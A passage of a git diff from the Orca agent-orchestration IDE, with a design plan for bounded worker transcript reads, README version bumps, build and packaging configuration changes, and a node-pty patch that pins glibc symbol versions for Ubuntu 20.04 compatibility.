|
||||
type WorkerTranscriptReader = {
|
||||
provider: 'codex' | 'claude' | 'openclaude' | 'grok'
|
||||
readPage(input: ExactTranscriptRead): Promise<ExactTranscriptPage>
|
||||
}
|
||||
```
|
||||
|
||||
This is deliberately not a registry for every possible agent capability. Add an adapter only when
|
||||
an exact locator and a tested reader already exist.
|
||||
|
||||
Current reader anchors:
|
||||
|
||||
- `src/main/native-chat/transcript-watch.ts` provides bounded transcript reads/subscriptions.
|
||||
- `src/main/runtime/rpc/methods/native-chat.ts` exposes the existing reader over runtime RPC.
|
||||
- `src/main/ipc/native-chat.ts` exposes the same reader to the desktop renderer.
|
||||
|
||||
The transcript response should preserve the existing structured message/block representation and
|
||||
the supported fields that the proven reader already understands. Unknown or skipped input should
|
||||
produce parsing warnings rather than being silently presented as a complete transcript.
|
||||
|
||||
### 6. Return bounded data
|
||||
|
||||
Every path enforces:
|
||||
|
||||
- at most 50 transcript messages per page (40 by default);
|
||||
- a maximum serialized response size;
|
||||
- existing clipping/redaction rules for large tool input and output;
|
||||
- opaque projection of transcript-position fallback IDs and redaction of Dispatch capability tokens;
|
||||
- deterministic pagination; and
|
||||
- no transcript path leakage.
|
||||
|
||||
Transcript observation is read-only. A failure or unknown network result must never trigger worker
|
||||
restart, retry, stop, or Task mutation.
|
||||
|
||||
## Federation and cross-platform behavior
|
||||
|
||||
The core topology is:
|
||||
|
||||
```text
|
||||
Mac Run home
|
||||
-> authenticated connected-server RPC
|
||||
-> Windows worker server
|
||||
-> exact Windows pane/session
|
||||
-> Windows-local transcript reader
|
||||
-> bounded structured page back to Mac
|
||||
```
|
||||
|
||||
The reverse direction must work identically.
|
||||
|
||||
Platform rules:
|
||||
|
||||
- Use Node path operations only on the server that owns the path.
|
||||
- Do not normalize Windows paths on macOS or macOS/Linux paths on Windows.
|
||||
- SSH and WSL execution remain behind their owning Orca server.
|
||||
- If the exact transcript is accessible only on an SSH/WSL execution host, the worker server must
|
||||
use an existing host-aware read mechanism or fall back to terminal. Do not copy the path to the
|
||||
Run home.
|
||||
- Mixed-version capability negotiation applies only at the Orca server protocol boundary.
|
||||
- A server that does not advertise structured worker read receives the existing terminal-read RPC.
|
||||
|
||||
Federation adds one narrow additive RPC, `orchestration.federationReadOutput`. The Run home probes
|
||||
it by calling it. If the worker server returns `method_not_found`, the Run home calls the existing
|
||||
`orchestration.federationRead` terminal method and wraps that result as a labeled
|
||||
`remote_capability_unavailable` fallback. No generalized capability matrix is added.
|
||||
|
||||
## Lifecycle behavior
|
||||
|
||||
### Provider session appears after worker start
|
||||
|
||||
Hooks may report a session after the TUI becomes ready. An initial `auto` read may therefore return
|
||||
terminal output. A later first-page `auto` read may select transcript output.
|
||||
|
||||
Once a cursor is returned, that cursor remains pinned to its selected source.
|
||||
|
||||
### Provider session changes
|
||||
|
||||
Compaction, resume, or process replacement may produce a new provider session:
|
||||
|
||||
- a fresh read without a cursor may select the new exact session;
|
||||
- a cursor for the old session returns `source_changed`;
|
||||
- Orca does not merge the old and new transcripts implicitly.
|
||||
|
||||
### Orca restart
|
||||
|
||||
After restart, the worker server re-establishes the exact pane/process association using the same
|
||||
runtime graph and retained-hook mechanisms used by sidebar/session recovery.
|
||||
|
||||
- If exact identity and session still match, paging continues.
|
||||
- If process identity is uncertain, return `worker_identity_changed`.
|
||||
- If only transcript identity is unavailable, `auto` may start a new terminal page but must not
|
||||
reinterpret an old transcript cursor as a terminal cursor.
|
||||
|
||||
### Disconnect
|
||||
|
||||
A disconnected federated read is a read-only unknown result. Reissuing the same read is safe.
|
||||
No mutation request ledger, durable outbox, automatic failover, or worker replacement is needed.
|
||||
|
||||
## Implementation plan
|
||||
|
||||
### Work package 1 — Correct the contract and types
|
||||
|
||||
- Update the orchestration checklist to replace the inaccurate claim that exact pane-to-session
|
||||
association does not exist.
|
||||
- Add the source preference, response envelope, fallback enums, and opaque cursor types.
|
||||
- Keep the existing terminal response fields compatible.
|
||||
- Add the CLI `--source` option and accept both legacy numeric and new opaque cursors.
|
||||
|
||||
Exit gate: contract tests cover legacy terminal JSON and the new labeled envelopes.
|
||||
|
||||
### Work package 2 — Runtime exact-session resolver
|
||||
|
||||
- Add a runtime method that resolves agent status for an exact Dispatch pane/process.
|
||||
- Reuse the existing graph/headless retained status and provider-session normalization.
|
||||
- Reject stale pane or process-incarnation associations.
|
||||
- Test multiple panes and multiple sessions in the same worktree and directory.
|
||||
|
||||
Exit gate: the resolver can never return a sibling pane's session.
|
||||
|
||||
### Work package 3 — Codex transcript adapter
|
||||
|
||||
- Reuse the current bounded native-chat Codex reader.
|
||||
- Add deterministic page conversion and parsing warnings.
|
||||
- Enforce entry and byte limits.
|
||||
- Produce a path-free source identity digest and cursor.
|
||||
- Add Claude only if it follows this same path without new infrastructure.
|
||||
|
||||
Exit gate: exact Codex transcript pages are stable, bounded, and contain no local path.
|
||||
|
||||
### Work package 4 — Local `worker-read`
|
||||
|
||||
- Resolve and validate the exact worker.
|
||||
- Implement `auto`, `transcript`, and `terminal`.
|
||||
- Pin the source across cursor pages.
|
||||
- Preserve the existing terminal fallback and non-JSON rendering.
|
||||
|
||||
Exit gate: local dogfood proves correct selection with several simultaneous same-directory Codex
|
||||
sessions.
|
||||
|
||||
### Work package 5 — Federated `worker-read`
|
||||
|
||||
- Add the narrow connected-server capability.
|
||||
- Route transcript resolution and reading to the worker server.
|
||||
- Wrap legacy remote terminal responses as labeled fallbacks.
|
||||
- Reject mismatched Dispatch/server/session cursors.
|
||||
- Ensure paths and internal server identity remain out of ordinary output.
|
||||
|
||||
Exit gate: physical Mac-to-Windows and Windows-to-Mac reads both pass.
|
||||
|
||||
### Work package 6 — Restart, fallback, and documentation
|
||||
|
||||
- Cover runtime restart, renderer restart, disconnect, stale status, missing hooks, unreadable
|
||||
transcript, unsupported providers, and mixed server versions.
|
||||
- Update CLI help, the orchestration skill, and the implementation checklist.
|
||||
- Dogfood the common coordinator loop using only the documented commands.
|
||||
|
||||
Exit gate: every fallback is truthful and no fallback changes worker lifecycle state.
|
||||
|
||||
## Validation plan
|
||||
|
||||
### Unit and contract tests
|
||||
|
||||
| Area | Required proof |
|
||||
| --------------------- | ------------------------------------------------------------------------------------ |
|
||||
| Exact resolution | A Dispatch resolves only its attached pane and process incarnation. |
|
||||
| No directory guessing | Two Codex sessions in the same worktree cannot cross-read. |
|
||||
| Source choice | `auto` prefers an exact supported transcript and otherwise labels terminal fallback. |
|
||||
| Explicit source | `transcript` fails truthfully when unavailable; `terminal` never probes transcript. |
|
||||
| Cursor pinning | Continued pages stay on the same source and provider session. |
|
||||
| Session replacement | An old cursor returns `source_changed`. |
|
||||
| Cursor custody | A cursor for another Dispatch is rejected. |
|
||||
| Parsing | Malformed/skipped transcript records produce bounded warnings. |
|
||||
| Limits | Entry count, block size, and total serialized response are bounded. |
|
||||
| Privacy | Responses and cursors contain no transcript path. |
|
||||
| Compatibility | Existing terminal fields and numeric cursors continue to work. |
|
||||
|
||||
Likely focused test locations:
|
||||
|
||||
- provider-session normalization and pane association tests;
|
||||
- native-chat transcript reader tests;
|
||||
- orchestration worker-control RPC tests;
|
||||
- orchestration worker CLI tests; and
|
||||
- federation protocol and physical harness tests.
|
||||
|
||||
### Local integration scenarios
|
||||
|
||||
1. Start a Codex worker and confirm the sidebar reports its provider session.
|
||||
2. Read the Dispatch and verify `source=transcript`.
|
||||
3. Start two Codex workers in the same worktree.
|
||||
4. Give them distinct prompts and verify neither read contains the other's content.
|
||||
5. Page both transcripts and verify stable source identities.
|
||||
6. replace or resume one session and verify its old cursor returns `source_changed`.
|
||||
7. Disable hooks and verify a labeled terminal fallback.
|
||||
8. Remove or make the transcript unreadable and verify a safe fallback or
|
||||
`transcript_required`, depending on the requested source.
|
||||
|
||||
### Physical federation matrix
|
||||
|
||||
| Run home | Worker server | Worker location | Required outcome |
|
||||
| -------- | ------------- | --------------- | --------------------------------------------------------------- |
|
||||
| macOS | Windows | native Windows | Exact structured page or labeled supported fallback |
|
||||
| Windows | macOS | native macOS | Exact structured page or labeled supported fallback |
|
||||
| macOS | macOS/Linux | SSH host | Exact host-aware page or terminal fallback without path leakage |
|
||||
| Windows | Windows | WSL | Exact host-aware page or terminal fallback without path leakage |
|
||||
|
||||
For both Mac/Windows directions:
|
||||
|
||||
- run multiple workers at once;
|
||||
- page beyond the first response;
|
||||
- restart the Run home;
|
||||
- restart the worker server;
|
||||
- disconnect and reconnect the server;
|
||||
- verify mixed-version fallback with one server lacking the new capability; and
|
||||
- compare the selected provider session with the sidebar/native-chat session for the same pane.
|
||||
|
||||
### Dogfood procedure
|
||||
|
||||
The dogfood is successful only if a coordinator can follow this loop without internal IDs:
|
||||
|
||||
1. Create/use a Run.
|
||||
2. Start one local worker and one connected-server worker.
|
||||
3. Wait for both starts to settle.
|
||||
4. Call `worker-read --source auto` for each Dispatch.
|
||||
5. Continue each cursor through at least two pages.
|
||||
6. Confirm output belongs to the correct prompt and machine.
|
||||
7. Trigger one fallback case.
|
||||
8. Complete both workers and confirm reads never altered lifecycle state.
|
||||
|
||||
Record:
|
||||
|
||||
- command and response;
|
||||
- chosen source and fallback reason;
|
||||
- worker server/platform;
|
||||
- provider and session match;
|
||||
- cursor behavior;
|
||||
- path-leak check;
|
||||
- restart/disconnect outcome; and
|
||||
- any agent confusion using only CLI help and the orchestration skill.
|
||||
|
||||
## Acceptance criteria
|
||||
|
||||
Implementation is complete only when:
|
||||
|
||||
- `worker-read` selects an exact transcript or returns a clearly labeled terminal fallback.
|
||||
- No test or dogfood scenario reads a sibling or previous provider session.
|
||||
- A cursor never switches source or provider session silently.
|
||||
- Mac-to-Windows and Windows-to-Mac physical reads pass.
|
||||
- Runtime restart and disconnect behavior are safe and understandable.
|
||||
- Unsupported agents and mixed versions retain useful terminal output.
|
||||
- Transcript paths never leave the server that owns them.
|
||||
- Existing terminal-read clients remain compatible.
|
||||
- The common agent path remains one command with no server/session/path inputs.
|
||||
- No UI, scheduling, retry, integration tracking, or generalized provider framework is added.
|
||||
|
||||
## Explicit non-goals
|
||||
|
||||
- No dashboard or sidebar changes.
|
||||
- No coordinator chat changes.
|
||||
- No automatic worker placement, retry, replacement, or recovery.
|
||||
- No commit, test, branch, merge, or integration tracking.
|
||||
- No provider-session locking or resume orchestration.
|
||||
- No live transcript subscription in the orchestration API.
|
||||
- No universal transcript/event ontology.
|
||||
- No cross-server filesystem access from the Run home.
|
||||
- No replicated Run database or automatic Run-home failover.
|
||||
- No generalized access-control or capability framework.
|
||||
|
||||
## Main risks and mitigations
|
||||
|
||||
| Risk | Mitigation |
|
||||
| ---------------------------------------------- | ------------------------------------------------------------------------------------------------- |
|
||||
| Live session status is stale or renderer-owned | Resolve through a runtime-owned exact-pane snapshot and bind it to process incarnation. |
|
||||
| Two sessions share a directory | Never use directory/latest-session lookup; require exact pane/session metadata. |
|
||||
| A session changes between pages | Pin source identity in the cursor and return `source_changed`. |
|
||||
| Remote path is meaningless or sensitive | Read only on the worker server and never serialize the path. |
|
||||
| Transcript parser drops data | Preserve supported structured blocks and return parsing warnings. |
|
||||
| Transcript metadata exposes a path/credential | Make file-position IDs opaque and redact Dispatch capabilities from all structured text/payloads. |
|
||||
| Mixed server versions | Negotiate one narrow capability and fall back to existing terminal read. |
|
||||
| Full-screen terminal output remains noisy | Prefer structured output only when exact; retain terminal as the universal safety path. |
|
||||
| Scope expands into a provider platform | Ship Codex first and require proven exact association plus an existing reader for every addition. |
|
||||
|
||||
## Decision
|
||||
|
||||
Implement structured worker output as a narrow extension of `worker-read`.
|
||||
|
||||
The prerequisite is not a new sidebar or status system: Orca already tracks exact pane-scoped
|
||||
provider sessions. The work is to make that existing association available to the worker-owning
|
||||
runtime, read the transcript locally through proven readers, pin pagination to that source, and
|
||||
federate only the bounded result.
|
||||
@@ -36,7 +36,7 @@
|
||||
|
||||
Monitor and steer your agents from your phone — get notified when an agent finishes and send follow-ups from anywhere.
|
||||
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
|
||||
|
||||
</td>
|
||||
<td width="50%">
|
||||
@@ -230,7 +230,7 @@ yay -S stably-orca-bin
|
||||
Pair with your desktop app to monitor and steer your agents from your phone.
|
||||
|
||||
- **iOS:** [Download on the App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) or [join TestFlight](https://testflight.apple.com/join/YjeGMQBA)
|
||||
- **Android:** [Download APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
|
||||
- **Android:** [Download APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
|
||||
|
||||
---
|
||||
|
||||
@@ -238,7 +238,7 @@ Pair with your desktop app to monitor and steer your agents from your phone.
|
||||
|
||||
- **Discord:** Join the community on **[Discord](https://discord.gg/fzjDKHxv8Q)**.
|
||||
- **Twitter / X:** Follow **[@orca_build](https://x.com/orca_build)** for updates and announcements.
|
||||
- **WeChat:** Groups 1 and 2 are both full — now you can join the third one.
|
||||
- **WeChat:** All other groups are full, now we're on group 5.
|
||||
|
||||
<img src="docs/assets/wechat-qr.jpg" alt="WeChat QR code for the Orca community" width="160" />
|
||||
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { join } from 'node:path'
|
||||
import type { NormalizedOutputOptions, OutputBundle, OutputChunk, Plugin } from 'rollup'
|
||||
import type { Plugin, Rollup } from 'vite'
|
||||
|
||||
type NormalizedOutputOptions = Rollup.NormalizedOutputOptions
|
||||
type OutputBundle = Rollup.OutputBundle
|
||||
type OutputChunk = Rollup.OutputChunk
|
||||
|
||||
// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
|
||||
// chunk gained `require("electron")` (an import edge added in #7642), and the
|
||||
@@ -97,6 +101,8 @@ function smokeLoadDaemonEntry(outputDir: string): void {
|
||||
}
|
||||
|
||||
export function createPlainNodeEntryGuardPlugin(): Plugin {
|
||||
let daemonOutputDir: string | undefined
|
||||
|
||||
return {
|
||||
name: 'orca-plain-node-entry-guard',
|
||||
writeBundle(options: NormalizedOutputOptions, bundle: OutputBundle) {
|
||||
@@ -124,7 +130,14 @@ export function createPlainNodeEntryGuardPlugin(): Plugin {
|
||||
}
|
||||
|
||||
if (entryByName.has('daemon-entry') && options.dir) {
|
||||
smokeLoadDaemonEntry(options.dir)
|
||||
daemonOutputDir = options.dir
|
||||
}
|
||||
},
|
||||
closeBundle() {
|
||||
if (daemonOutputDir) {
|
||||
const outputDir = daemonOutputDir
|
||||
daemonOutputDir = undefined
|
||||
smokeLoadDaemonEntry(outputDir)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,8 @@ const {
|
||||
prunePackagedRuntimeNodeModules,
|
||||
verifyPackagedMainRuntimeDeps
|
||||
} = require('./packaged-runtime-node-modules.cjs')
|
||||
const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
|
||||
const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
|
||||
|
||||
const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
|
||||
const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
|
||||
@@ -31,11 +33,17 @@ const relayExtraResource = {
|
||||
from: 'out/relay',
|
||||
to: 'relay'
|
||||
}
|
||||
// Why: bundled plugins are immutable install inputs and must remain ordinary
|
||||
// directories so the startup bootstrap can verify and publish exact bytes.
|
||||
const bundledPluginResources = {
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
}
|
||||
// Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
|
||||
// from package directories where pnpm's symlink farm is absent. Copy the exact
|
||||
// runtime dependency closure to Resources/node_modules so bare require() calls
|
||||
// do not fall through to a developer checkout's node_modules.
|
||||
const commonExtraResources = [relayExtraResource, skillFreshnessResources]
|
||||
const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
|
||||
const macSpeechNativeResource = {
|
||||
from: 'node_modules/sherpa-onnx-darwin-${arch}',
|
||||
to: 'node_modules/sherpa-onnx-darwin-${arch}'
|
||||
@@ -78,6 +86,8 @@ module.exports = {
|
||||
'!Casks{,/**/*}',
|
||||
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
|
||||
'!out/**/*.test.js',
|
||||
// Why: Vite's manifest is only used to project the paired web client.
|
||||
'!out/renderer/.vite{,/**/*}',
|
||||
'!electron.vite.config.{js,ts,mjs,cjs}',
|
||||
'!{.eslintcache,eslint.config.mjs,.prettierignore,.prettierrc.yaml,CHANGELOG.md,README.md}',
|
||||
'!{.env,.env.*,.npmrc,pnpm-lock.yaml}',
|
||||
@@ -85,7 +95,16 @@ module.exports = {
|
||||
// Why: feature-wall media is copied via extraResources so runtime can read
|
||||
// it from process.resourcesPath; exclude the source copy from app.asar.
|
||||
'!resources/onboarding/feature-wall/**',
|
||||
'!resources/skills/**'
|
||||
'!resources/skills/**',
|
||||
// Why: bundled plugins ship via extraResources to resources/plugins/launch;
|
||||
// packing the source tree into app.asar would duplicate those exact bytes.
|
||||
'!resources/plugins/launch/**',
|
||||
// Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
|
||||
// (beside the native resources/bin/orca.exe). Packing the source tree into
|
||||
// app.asar too lets asarUnpack:['resources/**'] extract a second copy at
|
||||
// app.asar.unpacked/resources/win32/bin/orca.cmd with no adjacent orca.exe,
|
||||
// which fails to launch the CLI (#7351).
|
||||
'!resources/win32{,/**/*}'
|
||||
],
|
||||
// Why: the CLI entry-point lives in out/cli/ but imports shared modules
|
||||
// from out/shared/ and local hook mutators from out/main/. These paths must be
|
||||
@@ -122,6 +141,7 @@ module.exports = {
|
||||
'out/main/hermes/**',
|
||||
'out/main/win32-utils.js',
|
||||
'out/main/daemon-entry.js',
|
||||
'out/main/plugin-host-entry.js',
|
||||
'out/main/computer-sidecar.js',
|
||||
'out/main/parcel-watcher-process-entry.js',
|
||||
'out/main/chunks/**',
|
||||
@@ -133,6 +153,12 @@ module.exports = {
|
||||
'node_modules/sherpa-onnx*/**'
|
||||
],
|
||||
afterPack: async (context) => {
|
||||
// Why: a Linux runner-image glibc bump silently shipped a node-pty pty.node
|
||||
// requiring GLIBC_2.34, crashing the app on startup on Ubuntu 20.04 (#9902).
|
||||
// Fail packaging if any bundled native binary exceeds the supported floor.
|
||||
if (context.electronPlatformName === 'linux') {
|
||||
verifyLinuxGlibcFloor(context.appOutDir)
|
||||
}
|
||||
const resourcesDir =
|
||||
context.electronPlatformName === 'darwin'
|
||||
? join(
|
||||
@@ -165,6 +191,9 @@ module.exports = {
|
||||
`[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
|
||||
)
|
||||
}
|
||||
// Why: inspect electron-builder's real output so a broken extraResources
|
||||
// mapping fails packaging before bundled content reaches users.
|
||||
verifyPackagedPluginResources(resourcesDir)
|
||||
chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
|
||||
chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
|
||||
for (const filename of readdirSync(resourcesDir)) {
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
import { defineConfig } from 'electron-vite'
|
||||
import { electronViteConfig } from '../electron.vite.config'
|
||||
|
||||
const target = process.env.ORCA_ELECTRON_VITE_TARGET
|
||||
const configByTarget = {
|
||||
main: { main: electronViteConfig.main },
|
||||
preload: { preload: electronViteConfig.preload },
|
||||
renderer: { renderer: electronViteConfig.renderer }
|
||||
}
|
||||
|
||||
if (!target || !Object.prototype.hasOwnProperty.call(configByTarget, target)) {
|
||||
throw new Error(`Invalid ORCA_ELECTRON_VITE_TARGET: ${target ?? '<unset>'}`)
|
||||
}
|
||||
|
||||
export default defineConfig(configByTarget[target as keyof typeof configByTarget])
|
||||
File diff suppressed because one or more lines are too long
@@ -1,5 +1,5 @@
|
||||
diff --git a/binding.gyp b/binding.gyp
|
||||
index 5f63978b07ab50aaf7523219a2170ec737a6b5db..b3309a07ef99dea7967d7bdd04b9fc3500acacae 100644
|
||||
index 5f63978b07ab50aaf7523219a2170ec737a6b5db..bbd9e06136e8922f40b5779e35d4fc835f1479ab 100644
|
||||
--- a/binding.gyp
|
||||
+++ b/binding.gyp
|
||||
@@ -5,9 +5,6 @@
|
||||
@@ -12,6 +12,23 @@ index 5f63978b07ab50aaf7523219a2170ec737a6b5db..b3309a07ef99dea7967d7bdd04b9fc35
|
||||
'msvs_settings': {
|
||||
'VCCLCompilerTool': {
|
||||
'AdditionalOptions': [
|
||||
@@ -88,6 +85,16 @@
|
||||
'libraries!': [
|
||||
'-lutil'
|
||||
]
|
||||
+ }],
|
||||
+ # Orca: pair with the .symver pins in pty.cc. Force the real
|
||||
+ # libutil.so.1/libpthread.so.0 into DT_NEEDED (gcc's default
|
||||
+ # --as-needed drops them because the pinned symbols resolve from
|
||||
+ # libc's compat aliases at build time) so openpty/forkpty/
|
||||
+ # pthread_sigmask still resolve on Ubuntu 20.04 (glibc 2.31).
|
||||
+ ['OS=="linux"', {
|
||||
+ 'ldflags': [
|
||||
+ '-Wl,--no-as-needed,-l:libutil.so.1,-l:libpthread.so.0,--as-needed'
|
||||
+ ]
|
||||
}]
|
||||
]
|
||||
}
|
||||
diff --git a/deps/winpty/src/winpty.gyp b/deps/winpty/src/winpty.gyp
|
||||
index 1ac5758bedd8cf54f32280dea4e4aeb5afdee30d..e619813759c6f14694838bdfbd0ea5f8360130ef 100644
|
||||
--- a/deps/winpty/src/winpty.gyp
|
||||
@@ -54,6 +71,27 @@ index 1ac5758bedd8cf54f32280dea4e4aeb5afdee30d..e619813759c6f14694838bdfbd0ea5f8
|
||||
'msvs_settings': {
|
||||
# Specify this setting here to override a setting from somewhere
|
||||
# else, such as node's common.gypi.
|
||||
diff --git a/lib/conpty_console_list_agent.js b/lib/conpty_console_list_agent.js
|
||||
index 8c4fca9022a6d6f015bca87f61625cde2278f428..0a01730616488119aa21ef441cf3c441e02a974c 100644
|
||||
--- a/lib/conpty_console_list_agent.js
|
||||
+++ b/lib/conpty_console_list_agent.js
|
||||
@@ -10,7 +10,14 @@ Object.defineProperty(exports, "__esModule", { value: true });
|
||||
var utils_1 = require("./utils");
|
||||
var getConsoleProcessList = utils_1.loadNativeModule('conpty_console_list').module.getConsoleProcessList;
|
||||
var shellPid = parseInt(process.argv[2], 10);
|
||||
-var consoleProcessList = getConsoleProcessList(shellPid);
|
||||
+var consoleProcessList;
|
||||
+try {
|
||||
+ consoleProcessList = getConsoleProcessList(shellPid);
|
||||
+}
|
||||
+catch (_a) {
|
||||
+ // Why: AttachConsole can fail after the shell exits; parent already has this fallback.
|
||||
+ consoleProcessList = [shellPid];
|
||||
+}
|
||||
process.send({ consoleProcessList: consoleProcessList });
|
||||
process.exit(0);
|
||||
//# sourceMappingURL=conpty_console_list_agent.js.map
|
||||
\ No newline at end of file
|
||||
diff --git a/lib/unixTerminal.js b/lib/unixTerminal.js
|
||||
index 1ec12f796a822c78fba9ad7f6448c3987e325c23..cec8b67aef02f8199e5606a0d257088bf1865877 100644
|
||||
--- a/lib/unixTerminal.js
|
||||
@@ -73,31 +111,12 @@ index 1ec12f796a822c78fba9ad7f6448c3987e325c23..cec8b67aef02f8199e5606a0d257088b
|
||||
var DEFAULT_FILE = 'sh';
|
||||
var DEFAULT_NAME = 'xterm';
|
||||
var DESTROY_SOCKET_TIMEOUT_MS = 200;
|
||||
diff --git a/lib/conpty_console_list_agent.js b/lib/conpty_console_list_agent.js
|
||||
index ccc111c9e03a4a661ccfd5d8e8f0ee699571b5dd..f92c6bef7d46dc35c941c87ef186aa46d8ed9c44 100644
|
||||
--- a/lib/conpty_console_list_agent.js
|
||||
+++ b/lib/conpty_console_list_agent.js
|
||||
@@ -9,7 +9,14 @@ Object.defineProperty(exports, "__esModule", { value: true });
|
||||
var utils_1 = require("./utils");
|
||||
var getConsoleProcessList = utils_1.loadNativeModule('conpty_console_list').module.getConsoleProcessList;
|
||||
var shellPid = parseInt(process.argv[2], 10);
|
||||
-var consoleProcessList = getConsoleProcessList(shellPid);
|
||||
+var consoleProcessList;
|
||||
+try {
|
||||
+ consoleProcessList = getConsoleProcessList(shellPid);
|
||||
+}
|
||||
+catch (_a) {
|
||||
+ // Why: AttachConsole can fail after the shell exits; parent already has this fallback.
|
||||
+ consoleProcessList = [shellPid];
|
||||
+}
|
||||
process.send({ consoleProcessList: consoleProcessList });
|
||||
process.exit(0);
|
||||
//# sourceMappingURL=conpty_console_list_agent.js.map
|
||||
diff --git a/src/conpty_console_list_agent.ts b/src/conpty_console_list_agent.ts
|
||||
index f6a653893e0b9b548c514db29d75599538ee1acb..1d5400489f200ef0161ca687e672e1cc02d29c95 100644
|
||||
index 181ccabbbe9c4948a9725fb1db907a68e9de01fc..67f31facf85562b67adbfbd04ce28ddd8eeb4a79 100644
|
||||
--- a/src/conpty_console_list_agent.ts
|
||||
+++ b/src/conpty_console_list_agent.ts
|
||||
@@ -11,5 +11,11 @@ import { loadNativeModule } from './utils';
|
||||
@@ -10,6 +10,12 @@ import { loadNativeModule } from './utils';
|
||||
|
||||
const getConsoleProcessList = loadNativeModule('conpty_console_list').module.getConsoleProcessList;
|
||||
const shellPid = parseInt(process.argv[2], 10);
|
||||
-const consoleProcessList = getConsoleProcessList(shellPid);
|
||||
@@ -111,7 +130,7 @@ index f6a653893e0b9b548c514db29d75599538ee1acb..1d5400489f200ef0161ca687e672e1cc
|
||||
process.send!({ consoleProcessList });
|
||||
process.exit(0);
|
||||
diff --git a/src/unix/pty.cc b/src/unix/pty.cc
|
||||
index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca850564e6368d9 100644
|
||||
index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..383df0c9c48355547c65e6c9bbba593d15c4dd44 100644
|
||||
--- a/src/unix/pty.cc
|
||||
+++ b/src/unix/pty.cc
|
||||
@@ -23,7 +23,9 @@
|
||||
@@ -124,7 +143,33 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
|
||||
#include <thread>
|
||||
|
||||
#include <sys/types.h>
|
||||
@@ -237,13 +239,23 @@ pty_getproc(int, char *);
|
||||
@@ -47,6 +49,25 @@
|
||||
#include <termios.h>
|
||||
#endif
|
||||
|
||||
+/* Orca: glibc 2.32-2.34 relocated pthread_sigmask/openpty/forkpty into libc
|
||||
+ * under new symbol versions, so building on a newer glibc produces references
|
||||
+ * (GLIBC_2.32/2.34) absent on Ubuntu 20.04 (glibc 2.31) and the app fails to
|
||||
+ * launch. Pin these to the pre-merge version glibc still ships as a compat
|
||||
+ * alias; the binding.gyp ldflags force libutil/libpthread into DT_NEEDED so
|
||||
+ * those aliases are actually loaded on the target. */
|
||||
+#if defined(__linux__)
|
||||
+# if defined(__x86_64__)
|
||||
+# define ORCA_GLIBC_COMPAT_VERSION "GLIBC_2.2.5"
|
||||
+# elif defined(__aarch64__)
|
||||
+# define ORCA_GLIBC_COMPAT_VERSION "GLIBC_2.17"
|
||||
+# endif
|
||||
+# ifdef ORCA_GLIBC_COMPAT_VERSION
|
||||
+__asm__(".symver openpty,openpty@" ORCA_GLIBC_COMPAT_VERSION);
|
||||
+__asm__(".symver forkpty,forkpty@" ORCA_GLIBC_COMPAT_VERSION);
|
||||
+__asm__(".symver pthread_sigmask,pthread_sigmask@" ORCA_GLIBC_COMPAT_VERSION);
|
||||
+# endif
|
||||
+#endif
|
||||
+
|
||||
/* Some platforms name VWERASE and VDISCARD differently */
|
||||
#if !defined(VWERASE) && defined(VWERSE)
|
||||
#define VWERASE VWERSE
|
||||
@@ -237,13 +258,23 @@ pty_getproc(int, char *);
|
||||
#endif
|
||||
|
||||
#if defined(__APPLE__) || defined(__OpenBSD__)
|
||||
@@ -149,7 +194,7 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
|
||||
#endif
|
||||
|
||||
struct DelBuf {
|
||||
@@ -367,10 +379,11 @@ Napi::Value PtyFork(const Napi::CallbackInfo& info) {
|
||||
@@ -367,10 +398,11 @@ Napi::Value PtyFork(const Napi::CallbackInfo& info) {
|
||||
argv[i + 3] = strdup(arg.c_str());
|
||||
}
|
||||
|
||||
@@ -165,7 +210,7 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
|
||||
}
|
||||
if (pty_nonblock(master) == -1) {
|
||||
throw Napi::Error::New(napiEnv, "Could not set master fd to nonblocking.");
|
||||
@@ -684,15 +697,73 @@ pty_getproc(int fd, char *tty) {
|
||||
@@ -684,15 +716,73 @@ pty_getproc(int fd, char *tty) {
|
||||
#endif
|
||||
|
||||
#if defined(__APPLE__)
|
||||
@@ -241,25 +286,25 @@ index 7b4b9e1f990fbf95b51528bb56dc9717f5b87532..61f39f0cbb91faa2c515f35d2ca85056
|
||||
|
||||
for (; count < 3; count++) {
|
||||
low_fds[count] = posix_openpt(O_RDWR);
|
||||
